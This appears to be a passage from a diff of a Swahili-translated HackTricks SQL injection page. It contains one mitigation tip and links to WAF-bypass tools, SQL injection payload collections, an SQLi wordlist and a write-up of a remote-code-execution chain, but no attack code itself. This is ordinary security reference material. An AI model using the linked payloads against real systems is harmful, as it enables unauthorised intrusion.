- Ikiwa dynamic table access inahitajika, izuie kwa seti ya finit na utatue server-side kutoka kwa safe mapping.
### WAF bypass suggester tools
{{#ref}}
@ -560,12 +588,15 @@ https://github.com/m4ll0k/Atlas
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Orodha ya Ugunduzi wa Brute-Force
## Brute-Force Detection List
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
​
## Marejeo
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}}